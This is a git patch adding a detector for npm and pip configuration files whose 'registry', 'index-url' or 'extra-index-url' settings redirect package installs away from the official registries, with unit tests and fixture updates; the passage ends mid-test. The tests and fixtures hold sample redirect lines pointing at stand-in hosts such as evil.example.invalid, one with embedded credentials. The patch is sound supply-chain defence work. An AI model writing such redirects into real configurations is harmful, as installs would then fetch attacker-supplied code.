Fri, 21 Aug 2026 21:58:23 -0700 Subject: [PATCH 15/30] feat(sc10): detect npm and pip config redirects Signed-off-by: Nir Paz --- src/skillspector/dependency_source_types.py | 2 + src/skillspector/dependency_sources.py | 503 ++++++++++++++++ tests/nodes/analyzers/data/sc10_controls.json | 48 +- tests/nodes/analyzers/data/sc10_findings.json | 26 +- .../analyzers/test_dependency_sources.py | 562 ++++++++++++++++++ tests/nodes/analyzers/test_sc10_gap_corpus.py | 20 +- tests/unit/test_dependency_source_types.py | 15 + 7 files changed, 1136 insertions(+), 40 deletions(-) create mode 100644 src/skillspector/dependency_sources.py create mode 100644 tests/nodes/analyzers/test_dependency_sources.py diff --git a/src/skillspector/dependency_source_types.py b/src/skillspector/dependency_source_types.py index 8b102890..032c5755 100644 --- a/src/skillspector/dependency_source_types.py +++ b/src/skillspector/dependency_source_types.py @@ -57,6 +57,8 @@ class DependencyEcosystem(StrEnum): class DependencySourceSurface(StrEnum): """Coarse code-owned surface where a dependency source was declared.""" + NPMRC = ".npmrc" + PIP_CONFIG = "pip config" SOURCE = "source" REPOSITORY = "repository" MIRROR = "mirror" diff --git a/src/skillspector/dependency_sources.py b/src/skillspector/dependency_sources.py new file mode 100644 index 00000000..4a241b49 --- /dev/null +++ b/src/skillspector/dependency_sources.py @@ -0,0 +1,503 @@ +# SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +"""Bounded, local-only analysis of direct dependency-source configuration files.""" + +from __future__ import annotations + +import configparser +import re +from collections.abc import Iterable, Mapping, Sequence +from dataclasses import dataclass +from typing import Final +from urllib.parse import urlsplit + +from skillspector.artifacts import ArtifactDisposition, ArtifactRecord, ContentKind +from skillspector.dependency_source_types import ( + DependencyEcosystem, + DependencyFileBudget, + DependencySourceAnalysis, + DependencySourceLimitation, + DependencySourceLimitationReason, + DependencySourceOperation, + DependencySourceParseResult, + DependencySourceScope, + DependencySourceSurface, + DependencyWorkBudget, + DependencyWorkExhaustion, + DestinationStatus, + SourceChange, + SourceSpan, + finding_from_source_change, +) +from skillspector.url_redaction import redact_url + +_NPM_BASENAMES: Final = frozenset({".npmrc", "npmrc"}) +_PIP_BASENAMES: Final = frozenset({"pip.conf", "pip.ini"}) +_RECOGNIZED_BASENAMES: Final = _NPM_BASENAMES | _PIP_BASENAMES +_NPM_SCOPED_REGISTRY: Final = re.compile(r"^@[^:\s]+:registry$", re.IGNORECASE) +_NPM_INTERPOLATION: Final = re.compile(r"\$\{[^{}]+\}") +_PIP_INTERPOLATION: Final = re.compile(r"%\([^)]+\)s") +_PIP_ASSIGNMENT: Final = re.compile(r"^\s*([^:=\s][^:=]*?)\s*([=:])\s*(.*)$") +_PIP_SECTION: Final = re.compile(r"^\s*\[([^]]+)]\s*(?:[#;].*)?$") + + +@dataclass(frozen=True, slots=True) +class _Candidate: + ecosystem: DependencyEcosystem + surface: DependencySourceSurface + operation: DependencySourceOperation + scope: DependencySourceScope + span: SourceSpan + + +@dataclass(frozen=True, slots=True) +class _ValueFragment: + line: int + start_byte: int + end_byte: int + + +def _basename(path: str) -> str: + return path.rsplit("/", 1)[-1] + + +def _line_count(raw: bytes | None) -> int: + return max(1, raw.count(b"\n") + 1) if raw is not None else 1 + + +def _limitation( + path: str, + raw: bytes | None, + exhaustion: DependencyWorkExhaustion | None = None, +) -> DependencySourceLimitation: + metrics = exhaustion.ledger_metrics() if exhaustion is not None else {} + return DependencySourceLimitation( + reason=DependencySourceLimitationReason.PARSE_INCOMPLETE, + path=path, + start_line=1, + end_line=_line_count(raw), + **metrics, + ) + + +def _is_complete_text_record(record: ArtifactRecord, raw_size: int) -> bool: + try: + return ( + record.get("content_kind") == ContentKind.TEXT + and record.get("disposition") == ArtifactDisposition.ANALYZED + and record.get("decodable") is True + and record.get("contains_nul") is False + and type(record.get("size_bytes")) is int + and record["size_bytes"] == raw_size + ) + except (KeyError, TypeError): + return False + + +def _inventory_size(record: ArtifactRecord | None) -> int: + if record is None: + return 0 + size = record.get("size_bytes") + return size if type(size) is int and size >= 0 else 0 + + +def _physical_lines(text: str) -> list[str]: + """Split only on LF while removing the CR that belongs to a CRLF boundary.""" + return [part[:-1] if part.endswith("\r") else part for part in text.split("\n")] + + +def _line_offsets(text: str) -> list[int]: + offsets: list[int] = [] + current = 0 + parts = text.split("\n") + for index, line in enumerate(parts): + offsets.append(current) + current += len(line.encode("utf-8")) + if index < len(parts) - 1: + current += 1 + return offsets + + +def _byte_range(line: str, line_offset: int, start: int, end: int) -> tuple[int, int]: + return ( + line_offset + len(line[:start].encode("utf-8")), + line_offset + len(line[:end].encode("utf-8")), + ) + + +def _strip_comment(value: str) -> str: + quote: str | None = None + for index, character in enumerate(value): + if character in {'"', "'"}: + if quote is None: + quote = character + elif quote == character: + quote = None + continue + if quote is None and character in {"#", ";"} and index > 0 and value[index - 1].isspace(): + return value[:index].rstrip() + return value.rstrip() + + +def _normalize_literal(value: str) -> tuple[str, int, int] | None: + left_trimmed = value.lstrip() + left = len(value) - len(left_trimmed) + without_comment = _strip_comment(left_trimmed) + trimmed = without_comment.rstrip() + if not trimmed: + return None + if trimmed[0] in {'"', "'"}: + quote = trimmed[0] + if len(trimmed) < 2 or trimmed[-1] != quote: + return None + literal = trimmed[1:-1] + if not literal: + return None + return literal, left + 1, left + len(trimmed) - 1 + if trimmed[-1] in {'"', "'"}: + return None + return trimmed, left, left + len(trimmed) + + +def _canonical_destination(ecosystem: DependencyEcosystem, value: str) -> bool: + if "?" in value or "#" in value: + return False + try: + parsed = urlsplit(value) + if ( + parsed.scheme.lower() != "https" + or parsed.username is not None + or parsed.password is not None + or parsed.port is not None + or parsed.query + or parsed.fragment + ): + return False + except (TypeError, ValueError): + return False + if ecosystem is DependencyEcosystem.NPM: + return parsed.netloc.casefold() == "registry.npmjs.org" and parsed.path in {"", "/"} + return parsed.netloc.casefold() == "pypi.org" and parsed.path in {"/simple", "/simple/"} + + +def _destination( + ecosystem: DependencyEcosystem, + raw_destination: str, +) -> tuple[str, DestinationStatus] | None: + if _canonical_destination(ecosystem, raw_destination): + return None + interpolation = ( + _NPM_INTERPOLATION if ecosystem is DependencyEcosystem.NPM else _PIP_INTERPOLATION + ) + if interpolation.search(raw_destination): + return "unresolved", DestinationStatus.UNRESOLVED + return redact_url(raw_destination), DestinationStatus.RESOLVED + + +def _candidate_change( + candidate: _Candidate, + raw: bytes, + budget: DependencyFileBudget, +) -> tuple[SourceChange | None, DependencyWorkExhaustion | None]: + if exhaustion := budget.charge_source_records(1): + return None, exhaustion + literal_bytes = candidate.span.end_byte - candidate.span.start_byte + if exhaustion := budget.charge_retained_literal_bytes(literal_bytes): + return None, exhaustion + raw_destination = raw[candidate.span.start_byte : candidate.span.end_byte].decode("utf-8") + normalized = _destination(candidate.ecosystem, raw_destination) + if normalized is None: + return None, None + if exhaustion := budget.reserve_source_changes(): + return None, exhaustion + destination, status = normalized + return ( + SourceChange( + ecosystem=candidate.ecosystem, + surface=candidate.surface, + operation=candidate.operation, + scope=candidate.scope, + destination=destination, + destination_status=status, + span=candidate.span, + ), + None, + ) + + +def _changes_from_candidates( + candidates: Sequence[_Candidate], + *, + path: str, + raw: bytes, + budget: DependencyFileBudget, +) -> DependencySourceParseResult: + changes: list[SourceChange] = [] + for candidate in candidates: + change, exhaustion = _candidate_change(candidate, raw, budget) + if exhaustion is not None: + return DependencySourceParseResult( + changes=tuple(changes), + limitations=(_limitation(path, raw, exhaustion),), + ) + if change is not None: + changes.append(change) + return DependencySourceParseResult(changes=tuple(changes)) + + +def _parse_npm( + path: str, + text: str, + raw: bytes, + budget: DependencyFileBudget, +) -> DependencySourceParseResult: + effective: dict[str, _Candidate] = {} + offsets = _line_offsets(text) + for line_number, line in enumerate(_physical_lines(text), start=1): + stripped = line.lstrip() + if not stripped or stripped.startswith(("#", ";")): + continue + if "=" not in line: + possible_key = stripped.split(None, 1)[0].lower() + if possible_key == "registry" or _NPM_SCOPED_REGISTRY.fullmatch(possible_key): + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + continue + key_part, value_part = line.split("=", 1) + key = key_part.strip().lower() + if key != "registry" and _NPM_SCOPED_REGISTRY.fullmatch(key) is None: + continue + if exhaustion := budget.charge_config_nodes(1): + return DependencySourceParseResult(limitations=(_limitation(path, raw, exhaustion),)) + normalized = _normalize_literal(value_part) + if normalized is None: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + _literal, relative_start, relative_end = normalized + value_column = line.index("=") + 1 + start = value_column + relative_start + end = value_column + relative_end + start_byte, end_byte = _byte_range(line, offsets[line_number - 1], start, end) + effective[key] = _Candidate( + ecosystem=DependencyEcosystem.NPM, + surface=DependencySourceSurface.NPMRC, + operation=DependencySourceOperation.REPLACE, + scope=( + DependencySourceScope.GLOBAL if key == "registry" else DependencySourceScope.SCOPED + ), + span=SourceSpan(path, start_byte, end_byte, line_number, line_number), + ) + return _changes_from_candidates( + tuple(sorted(effective.values(), key=lambda candidate: candidate.span.start_byte)), + path=path, + raw=raw, + budget=budget, + ) + + +def _pip_fragments( + value: str, + *, + line: str, + line_number: int, + line_offset: int, + value_column: int, +) -> list[_ValueFragment] | None: + normalized = _normalize_literal(value) + if normalized is None: + return None + literal, relative_start, relative_end = normalized + absolute_start = value_column + relative_start + fragments: list[_ValueFragment] = [] + for match in re.finditer(r"\S+", literal): + token_start = absolute_start + match.start() + token_end = absolute_start + match.end() + start_byte, end_byte = _byte_range(line, line_offset, token_start, token_end) + fragments.append(_ValueFragment(line_number, start_byte, end_byte)) + if not fragments or relative_end < relative_start: + return None + return fragments + + +def _parse_pip( + path: str, + text: str, + raw: bytes, + budget: DependencyFileBudget, +) -> DependencySourceParseResult: + lines = _physical_lines(text) + offsets = _line_offsets(text) + section: str | None = None + current_key: tuple[str, str] | None = None + current_fragments: list[_ValueFragment] | None = None + current_indent: int | None = None + effective: dict[tuple[str, str], list[_ValueFragment]] = {} + + for line_number, line in enumerate(lines, start=1): + stripped = line.strip() + if not stripped or stripped.startswith(("#", ";")): + continue + section_match = _PIP_SECTION.fullmatch(line) + if section_match is not None: + if exhaustion := budget.charge_config_nodes(1): + return DependencySourceParseResult( + limitations=(_limitation(path, raw, exhaustion),) + ) + section = section_match.group(1).strip().casefold().replace("_", "-") + current_key = None + current_fragments = None + current_indent = None + continue + indent = len(line) - len(line.lstrip()) + if ( + current_key is not None + and current_fragments is not None + and current_indent is not None + and indent > current_indent + ): + fragments = _pip_fragments( + line, + line=line, + line_number=line_number, + line_offset=offsets[line_number - 1], + value_column=0, + ) + if fragments is None: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + current_fragments.extend(fragments) + effective[current_key] = current_fragments + continue + assignment = _PIP_ASSIGNMENT.fullmatch(line) + current_key = None + current_fragments = None + current_indent = None + if assignment is None: + continue + normalized_key = assignment.group(1).strip().lower().replace("_", "-") + if normalized_key not in {"index-url", "extra-index-url"}: + continue + if section is None: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + if exhaustion := budget.charge_config_nodes(1): + return DependencySourceParseResult(limitations=(_limitation(path, raw, exhaustion),)) + value = assignment.group(3) + fragments = _pip_fragments( + value, + line=line, + line_number=line_number, + line_offset=offsets[line_number - 1], + value_column=assignment.start(3), + ) + if fragments is None and value.strip(): + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + current_key = (section, normalized_key) + current_fragments = fragments or [] + current_indent = indent + effective[current_key] = current_fragments + + if any(not fragments for fragments in effective.values()): + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + + parser = configparser.ConfigParser( + interpolation=None, + strict=False, + delimiters=("=", ":"), + ) + try: + parser.read_string(text) + except configparser.Error: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + + candidates: list[_Candidate] = [] + for (raw_section, normalized_key), fragments in effective.items(): + for fragment in fragments: + candidates.append( + _Candidate( + ecosystem=DependencyEcosystem.PIP, + surface=DependencySourceSurface.PIP_CONFIG, + operation=( + DependencySourceOperation.REPLACE + if normalized_key == "index-url" + else DependencySourceOperation.ADD + ), + scope=( + DependencySourceScope.GLOBAL + if raw_section == "global" + else DependencySourceScope.COMMAND + ), + span=SourceSpan( + path, + fragment.start_byte, + fragment.end_byte, + fragment.line, + fragment.line, + ), + ) + ) + candidates.sort(key=lambda candidate: candidate.span.start_byte) + return _changes_from_candidates(candidates, path=path, raw=raw, budget=budget) + + +def _parse_file( + path: str, + text: str, + raw: bytes, + budget: DependencyFileBudget, +) -> DependencySourceParseResult: + if _basename(path) in _NPM_BASENAMES: + return _parse_npm(path, text, raw, budget) + return _parse_pip(path, text, raw, budget) + + +def analyze_dependency_sources( + *, + components: Iterable[str], + local_file_cache: Mapping[str, str], + raw_file_cache: Mapping[str, bytes], + artifact_inventory: Iterable[ArtifactRecord], + budget: DependencyWorkBudget, +) -> DependencySourceAnalysis: + """Analyze recognized direct config artifacts named by the component inventory.""" + inventory_by_path: dict[str, list[ArtifactRecord]] = {} + for record in artifact_inventory: + path = record.get("path") + if isinstance(path, str): + inventory_by_path.setdefault(path, []).append(record) + + changes: list[SourceChange] = [] + limitations: list[DependencySourceLimitation] = [] + for path in sorted(set(components)): + if not isinstance(path, str) or _basename(path) not in _RECOGNIZED_BASENAMES: + continue + raw = raw_file_cache.get(path) + safe_raw = raw if isinstance(raw, bytes) else None + records = inventory_by_path.get(path, []) + matched_record = records[0] if len(records) == 1 else None + observed_size = max(len(safe_raw or b""), _inventory_size(matched_record)) + file_budget = budget.for_file(path) + if exhaustion := file_budget.charge_physical_bytes(observed_size): + limitations.append(_limitation(path, safe_raw, exhaustion)) + continue + if ( + safe_raw is None + or matched_record is None + or not _is_complete_text_record(matched_record, len(safe_raw)) + ): + limitations.append(_limitation(path, safe_raw)) + continue + try: + decoded = safe_raw.decode("utf-8", errors="strict") + except UnicodeDecodeError: + limitations.append(_limitation(path, safe_raw)) + continue + cached = local_file_cache.get(path) + if not isinstance(cached, str) or cached != decoded: + limitations.append(_limitation(path, safe_raw)) + continue + parsed = _parse_file(path, decoded, safe_raw, file_budget) + changes.extend(parsed.changes) + limitations.extend(parsed.limitations) + + return DependencySourceAnalysis( + findings=tuple(finding_from_source_change(change) for change in changes), + limitations=tuple(limitations), + ) diff --git a/tests/nodes/analyzers/data/sc10_controls.json b/tests/nodes/analyzers/data/sc10_controls.json index c86c430f..01d20ef4 100644 --- a/tests/nodes/analyzers/data/sc10_controls.json +++ b/tests/nodes/analyzers/data/sc10_controls.json @@ -4,7 +4,7 @@ "rows": [ { "id": "control-pip-global-index", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "finding", "files": { @@ -17,7 +17,7 @@ "surface": "pip config", "operation": "replace", "scope": "global", - "destination": "https://evil.example.invalid/simple", + "destination": "https://evil.example.invalid/REDACTED_PATH", "destination_status": "resolved", "file": "pip.conf", "start_line": 2 @@ -26,7 +26,7 @@ }, { "id": "control-pip-install-index", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "finding", "files": { @@ -38,8 +38,8 @@ "ecosystem": "pip", "surface": "pip config", "operation": "replace", - "scope": "install", - "destination": "https://evil.example.invalid/simple", + "scope": "command", + "destination": "https://evil.example.invalid/REDACTED_PATH", "destination_status": "resolved", "file": "pip.conf", "start_line": 2 @@ -114,7 +114,7 @@ }, { "id": "control-npmrc-registry", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "finding", "files": { @@ -136,7 +136,7 @@ }, { "id": "control-npmrc-spaced-assignment", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "finding", "files": { @@ -158,7 +158,7 @@ }, { "id": "control-npmrc-scoped-registry", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "finding", "files": { @@ -170,7 +170,7 @@ "ecosystem": "npm", "surface": ".npmrc", "operation": "replace", - "scope": "@acme", + "scope": "scoped", "destination": "https://packages.example.invalid/", "destination_status": "resolved", "file": ".npmrc", @@ -180,7 +180,7 @@ }, { "id": "control-npmrc-canonical-with-slash", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "inert", "files": { @@ -190,7 +190,7 @@ }, { "id": "control-npmrc-canonical-without-slash", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "inert", "files": { @@ -200,7 +200,7 @@ }, { "id": "control-npmrc-canonical-with-comment", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "inert", "files": { @@ -210,7 +210,7 @@ }, { "id": "control-npmrc-auth-token-only", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "inert", "files": { @@ -230,7 +230,7 @@ }, { "id": "control-npmrc-quoted-canonical-registry", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "inert", "files": { @@ -240,7 +240,7 @@ }, { "id": "control-npmrc-nested-path", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "finding", "files": { @@ -262,7 +262,7 @@ }, { "id": "control-npmrc-hidden-parent", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "finding", "files": { @@ -284,7 +284,7 @@ }, { "id": "control-pip-basic-index", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "finding", "files": { @@ -297,7 +297,7 @@ "surface": "pip config", "operation": "replace", "scope": "global", - "destination": "https://packages.example.invalid/simple", + "destination": "https://packages.example.invalid/REDACTED_PATH", "destination_status": "resolved", "file": "pip.conf", "start_line": 2 @@ -306,7 +306,7 @@ }, { "id": "control-pip-extra-index", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "finding", "files": { @@ -318,8 +318,8 @@ "ecosystem": "pip", "surface": "pip config", "operation": "add", - "scope": "install", - "destination": "https://packages.example.invalid/simple", + "scope": "command", + "destination": "https://packages.example.invalid/REDACTED_PATH", "destination_status": "resolved", "file": "pip.conf", "start_line": 2 @@ -328,7 +328,7 @@ }, { "id": "control-pip-canonical-index", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "inert", "files": { @@ -338,7 +338,7 @@ }, { "id": "control-pip-ini-index", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "finding", "files": { @@ -351,7 +351,7 @@ "surface": "pip config", "operation": "replace", "scope": "global", - "destination": "https://packages.example.invalid/simple", + "destination": "https://packages.example.invalid/REDACTED_PATH", "destination_status": "resolved", "file": "pip.ini", "start_line": 2 diff --git a/tests/nodes/analyzers/data/sc10_findings.json b/tests/nodes/analyzers/data/sc10_findings.json index 508c21fd..ebeed627 100644 --- a/tests/nodes/analyzers/data/sc10_findings.json +++ b/tests/nodes/analyzers/data/sc10_findings.json @@ -4,7 +4,7 @@ "rows": [ { "id": "pipconf-colon-delimiter", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "finding", "files": { @@ -17,7 +17,7 @@ "surface": "pip config", "operation": "replace", "scope": "global", - "destination": "https://evil.example.invalid/simple", + "destination": "https://evil.example.invalid/REDACTED_PATH", "destination_status": "resolved", "file": "pip.conf", "start_line": 2 @@ -26,7 +26,7 @@ }, { "id": "pip-conf-colon-delimiter", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "finding", "files": { @@ -39,7 +39,7 @@ "surface": "pip config", "operation": "replace", "scope": "global", - "destination": "https://packages.example.invalid/simple", + "destination": "https://packages.example.invalid/REDACTED_PATH", "destination_status": "resolved", "file": "pip.conf", "start_line": 2 @@ -48,7 +48,7 @@ }, { "id": "pip-conf-multiline-continuation", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "finding", "files": { @@ -61,7 +61,7 @@ "surface": "pip config", "operation": "add", "scope": "global", - "destination": "https://packages.example.invalid/simple", + "destination": "https://packages.example.invalid/REDACTED_PATH", "destination_status": "resolved", "file": "pip.conf", "start_line": 3 @@ -70,7 +70,7 @@ }, { "id": "pip-conf-continuation-drops-extra-urls", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "finding", "files": { @@ -83,7 +83,7 @@ "surface": "pip config", "operation": "add", "scope": "global", - "destination": "https://a.example.invalid/simple", + "destination": "https://a.example.invalid/REDACTED_PATH", "destination_status": "resolved", "file": "pip.conf", "start_line": 2 @@ -94,7 +94,7 @@ "surface": "pip config", "operation": "add", "scope": "global", - "destination": "https://b.example.invalid/simple", + "destination": "https://b.example.invalid/REDACTED_PATH", "destination_status": "resolved", "file": "pip.conf", "start_line": 3 @@ -103,7 +103,7 @@ }, { "id": "pip-conf-multi-url-single-line", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "finding", "files": { @@ -116,7 +116,7 @@ "surface": "pip config", "operation": "add", "scope": "global", - "destination": "https://a.example.invalid/simple", + "destination": "https://a.example.invalid/REDACTED_PATH", "destination_status": "resolved", "file": "pip.conf", "start_line": 2 @@ -127,7 +127,7 @@ "surface": "pip config", "operation": "add", "scope": "global", - "destination": "https://b.example.invalid/simple", + "destination": "https://b.example.invalid/REDACTED_PATH", "destination_status": "resolved", "file": "pip.conf", "start_line": 2 @@ -301,7 +301,7 @@ }, { "id": "npmrc-semicolon-inline-comment", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "inert", "files": { diff --git a/tests/nodes/analyzers/test_dependency_sources.py b/tests/nodes/analyzers/test_dependency_sources.py new file mode 100644 index 00000000..eedce03b --- /dev/null +++ b/tests/nodes/analyzers/test_dependency_sources.py @@ -0,0 +1,562 @@ +# SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +"""Focused black-box tests for direct dependency-source configuration files.""" + +from __future__ import annotations + +import importlib +from collections.abc import Iterable, Mapping +from typing import Any + +import pytest + +from skillspector.artifacts import ArtifactDisposition, ArtifactRecord, classify_artifact +from skillspector.dependency_source_types import ( + MAX_DEPENDENCY_CONFIG_NODES, + MAX_DEPENDENCY_RETAINED_LITERAL_BYTES, + MAX_DEPENDENCY_SOURCE_CHANGES, + MAX_DEPENDENCY_SOURCE_RECORDS, + DependencySourceLimitationReason, + DependencyWorkBudget, +) + + +def _analyzer() -> Any: + try: + return importlib.import_module("skillspector.dependency_sources").analyze_dependency_sources + except ImportError: + pytest.fail("direct dependency-source analyzer is unavailable") + + +def _analyze( + files: Mapping[str, str], + *, + components: Iterable[str] | None = None, + raw_file_cache: Mapping[str, bytes] | None = None, + local_file_cache: Mapping[str, str] | None = None, + artifact_inventory: list[ArtifactRecord] | None = None, + budget: DependencyWorkBudget | None = None, +) -> Any: + raw = ( + dict(raw_file_cache) + if raw_file_cache is not None + else {path: content.encode("utf-8") for path, content in files.items()} + ) + local = dict(local_file_cache) if local_file_cache is not None else dict(files) + inventory = ( + artifact_inventory + if artifact_inventory is not None + else [classify_artifact(path, data) for path, data in raw.items()] + ) + return _analyzer()( + components=list(components) if components is not None else list(files), + local_file_cache=local, + raw_file_cache=raw, + artifact_inventory=inventory, + budget=budget or DependencyWorkBudget(), + ) + + +def _finding_projection(analysis: Any) -> list[dict[str, object]]: + return [ + { + **finding.evidence, + "file": finding.file, + "start_line": finding.start_line, + "end_line": finding.end_line, + } + for finding in analysis.findings + ] + + +def _assert_single_parse_limitation(analysis: Any, *, path: str, end_line: int) -> Any: + assert analysis.findings == () + assert len(analysis.limitations) == 1 + limitation = analysis.limitations[0] + assert limitation.reason is DependencySourceLimitationReason.PARSE_INCOMPLETE + assert (limitation.path, limitation.start_line, limitation.end_line) == (path, 1, end_line) + return limitation + + +def test_npm_uses_case_insensitive_last_values_and_code_owned_scopes() -> None: + content = ( + "registry=https://first.example.invalid/simple\n" + "REGISTRY = https://registry.npmjs.org/ # effective canonical default\n" + '@Acme:Registry = "https://user:password@packages.example.invalid/team" ; note\n' + ) + + analysis = _analyze({"project/.npmrc": content}) + + assert analysis.limitations == () + assert _finding_projection(analysis) == [ + { + "ecosystem": "npm", + "surface": ".npmrc", + "operation": "replace", + "scope": "scoped", + "destination": "https://packages.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "project/.npmrc", + "start_line": 3, + "end_line": 3, + } + ] + assert "Acme" not in repr(analysis) + assert "password" not in repr(analysis) + + +def test_npm_keeps_semicolons_inside_urls_but_strips_whitespace_comments() -> None: + content = "registry=https://packages.example.invalid/a;b ; explanation\n" + + analysis = _analyze({"npmrc": content}) + + assert analysis.limitations == () + assert _finding_projection(analysis) == [ + { + "ecosystem": "npm", + "surface": ".npmrc", + "operation": "replace", + "scope": "global", + "destination": "https://packages.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "npmrc", + "start_line": 1, + "end_line": 1, + } + ] + + +@pytest.mark.parametrize( + "content", + [ + "registry=\n", + 'registry="https://packages.example.invalid/simple\n', + "registry='\n", + ], +) +def test_npm_malformed_relevant_values_are_localized_limitations(content: str) -> None: + analysis = _analyze({".npmrc": content}) + + _assert_single_parse_limitation(analysis, path=".npmrc", end_line=2) + + +def test_pip_handles_delimiters_continuations_and_normalized_last_values() -> None: + content = ( + "[global]\n" + "index_url: https://first.example.invalid/simple\n" + "INDEX-URL = https://packages.example.invalid/simple\n" + "extra_index_url = https://a.example.invalid/simple\n" + " https://b.example.invalid/simple\n" + "trusted-host = ignored.example.invalid\n" + "[install]\n" + "index-url: https://command.example.invalid/simple\n" + ) + + analysis = _analyze({"config/pip.conf": content}) + + assert analysis.limitations == () + assert _finding_projection(analysis) == [ + { + "ecosystem": "pip", + "surface": "pip config", + "operation": "replace", + "scope": "global", + "destination": "https://packages.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "config/pip.conf", + "start_line": 3, + "end_line": 3, + }, + { + "ecosystem": "pip", + "surface": "pip config", + "operation": "add", + "scope": "global", + "destination": "https://a.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "config/pip.conf", + "start_line": 4, + "end_line": 4, + }, + { + "ecosystem": "pip", + "surface": "pip config", + "operation": "add", + "scope": "global", + "destination": "https://b.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "config/pip.conf", + "start_line": 5, + "end_line": 5, + }, + { + "ecosystem": "pip", + "surface": "pip config", + "operation": "replace", + "scope": "command", + "destination": "https://command.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "config/pip.conf", + "start_line": 8, + "end_line": 8, + }, + ] + + +def test_pip_last_values_use_normalized_section_identity() -> None: + content = ( + "[Install]\n" + "index-url = https://first.example.invalid/simple\n" + "[install]\n" + "index_url = https://effective.example.invalid/simple\n" + ) + + analysis = _analyze({"pip.conf": content}) + + assert analysis.limitations == () + assert [finding.start_line for finding in analysis.findings] == [4] + assert analysis.findings[0].evidence["destination"] == ( + "https://effective.example.invalid/REDACTED_PATH" + ) + + +def test_pip_same_indent_options_are_assignments_not_continuation_tokens() -> None: + content = ( + "[global]\n" + " index-url = https://first.example.invalid/simple\n" + " extra-index-url = https://second.example.invalid/simple\n" + ) + + analysis = _analyze({"pip.conf": content}) + + assert analysis.limitations == () + assert [finding.evidence["operation"] for finding in analysis.findings] == ["replace", "add"] + assert [finding.start_line for finding in analysis.findings] == [2, 3] + + +@pytest.mark.parametrize( + ("path", "content", "expected_start", "expected_end", "expected_line"), + [ + ( + ".npmrc", + "; multibyte é and lone carriage return \r stay on line one\r\n" + "registry=https://packages.example.invalid/simple\r\n", + len("; multibyte é and lone carriage return \r stay on line one\r\nregistry=".encode()), + len( + "; multibyte é and lone carriage return \r stay on line one\r\n" + "registry=https://packages.example.invalid/simple".encode() + ), + 2, + ), + ( + "pip.conf", + "[global]\r\n" + "# multibyte é and lone carriage return \r stay on line two\r\n" + "extra-index-url = https://packages.example.invalid/simple\r\n", + len( + "[global]\r\n" + "# multibyte é and lone carriage return \r stay on line two\r\n" + "extra-index-url = ".encode() + ), + len( + "[global]\r\n" + "# multibyte é and lone carriage return \r stay on line two\r\n" + "extra-index-url = https://packages.example.invalid/simple".encode() + ), + 3, + ), + ], +) +def test_source_spans_use_utf8_bytes_and_only_lf_physical_line_boundaries( + path: str, + content: str, + expected_start: int, + expected_end: int, + expected_line: int, +) -> None: + module = importlib.import_module("skillspector.dependency_sources") + raw = content.encode("utf-8") + + parsed = module._parse_file( + path, + content, + raw, + DependencyWorkBudget().for_file(path), + ) + + assert parsed.limitations == () + assert len(parsed.changes) == 1 + span = parsed.changes[0].span + assert (span.start_byte, span.end_byte) == (expected_start, expected_end) + assert (span.start_line, span.end_line) == (expected_line, expected_line) + + +@pytest.mark.parametrize( + ("path", "content", "expected_status", "expected_destination"), + [ + (".npmrc", "registry=${NPM_REGISTRY}\n", "unresolved", "unresolved"), + (".npmrc", "registry=$NPM_REGISTRY\n", "resolved", "[REDACTED_URL]"), + ("pip.ini", "[global]\nindex-url = %(mirror)s\n", "unresolved", "unresolved"), + ( + "pip.ini", + "[global]\nindex-url = https://packages.example.invalid/%2F\n", + "resolved", + "[REDACTED_URL]", + ), + ("pip.ini", "[global]\nindex-url = $PIP_INDEX_URL\n", "resolved", "[REDACTED_URL]"), + ], +) +def test_interpolation_is_limited_to_manager_native_forms( + path: str, + content: str, + expected_status: str, + expected_destination: str, +) -> None: + analysis = _analyze({path: content}) + + assert analysis.limitations == () + assert len(analysis.findings) == 1 + assert analysis.findings[0].evidence["destination_status"] == expected_status + assert analysis.findings[0].evidence["destination"] == expected_destination + + +@pytest.mark.parametrize( + ("path", "content"), + [ + (".npmrc", "registry=HTTPS://REGISTRY.NPMJS.ORG\n"), + 